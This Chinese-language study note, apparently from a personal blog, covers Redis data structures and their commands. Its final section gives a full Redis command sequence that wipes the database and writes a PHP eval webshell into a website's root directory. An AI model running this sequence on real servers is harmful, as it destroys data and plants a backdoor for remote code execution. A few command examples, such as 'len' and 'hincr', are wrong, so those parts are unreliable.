Redis

基本数据结构

参考来源1

  • string 字符串
  • list 列表
  • hash 字典
  • set 集合
  • zset 有序集合

list, hash, set, zset 四种是容器型数据结构,共享以下规则:

  • create if not exists
  • drop if no elements

string

Redis 中最简单也是最广泛使用的数据结构,内部是一个字符数组,通过预分配(冗余分配),即对字符数组预先分配一定空间,达到扩容阈值时,再按规则进行扩容。 Redis 中的扩容规则:

  1. 长度小于 1MB ,增加一倍
  2. 长度大于 1MB ,每次增加 1MB
  3. 最大长度 512MB

操作指令

# 增/改
set key value
# 查
get key
# 删
del key [key ...]

# 批量增
mset key value [key value ...]
# 批量查
mget key [key ...]

# 设置过期时间
expire key seconds
setex key seconds value

# 不存在则增,存在则不改
setnx key value

# 当 value 为整数时,自增
incr key
# 自定义累加值
incrby key increment

list

双向链表数据结构,支持前后顺序遍历。使用场景如异步队列。 Redis 底层的 list 是一个 quicklist ,由多个 ziplist 组成成的双向列表, ziplist 指一块连续的内存存储空间。 Redis 对于 list 的存储,当元素个数少时,使用一块连续的内存,以减少为元素增加 prev 和 next 指针带来的内存消耗。同时减少内存碎片。

操作指令

# 获取列表长度
len key
# 从左边添加元素
lpush key value [value ...]
# 从右边添加元素
rpush key value [value ...]
# 从左边弹出元素
lpop key
# 从右边弹出元素
rpop key

# 慢操作
# 遍历获取指定索引处的值,索引为负数,-1 为倒数第一个
lindex key index
# 获取 begin 到 end 处的全部值
lrange key begin end
# 截取 begin 到 end 处的全部值,其他将被删除
ltrim key begin end

hash

hash 相当于根据散列值分布的无序字典,内部的元素通过键值对的方式存储。 Redis 中 hash 底层是由数组 + 链表组成的。 Redis 的 hash 的 value 只能是 string ,扩容采用 rehash 。

操作指令

# 增/改
hset dict key value
# 批量增/改 key value
hmset dict key value [key value ...]
# 查指定 key
hget dict key
# 查所有 key
hgetall dict
# 字典大小
hlen dict

# value 是整数,可以自增
hincr dict key
hincrby dict key increment

set

set 内部的键值是无序的、唯一的,内部实现了一个所有 value 为 null 的特殊字典。

操作指令

# 增
sadd set key [key ...]
# 查
smembers set
# 查
sismember set key
# 长度
scard set
# 删
spop set [count=1]

zset

通过 value 的 score (权重)进行排序,排序通过 Skip List 实现。

操作指令

# 增
zadd set score key [score key]
# 查,按权重从小到大输出 begin 到 end 之间的元素
zrange set beigin end [WITHSCORES]
# 从大到小
zrevrange set begin end [WITHSCORES]
# 长度
zcard set
# 查 score
zscore set key
# 查排名
zrank set key
# 查 score 范围在 min 和 max 之间的
zrangebyscore set min max [WITHSCORES] [LIMIT offset count]
# 删
zrem set key [key ...]

Redis 写文件落盘   security

flushall
config set dir C:\phpstudy_pro\WWW\one.php.local\
config set dbfilename webshell.php
set shell "<?php eval($_POST["pass"]);?>"
save

这样在 one.php.local 网站的根目录下就写了 webshell.php 这个一句话木马文件。

Footnotes:

湘ICP备19014083号-1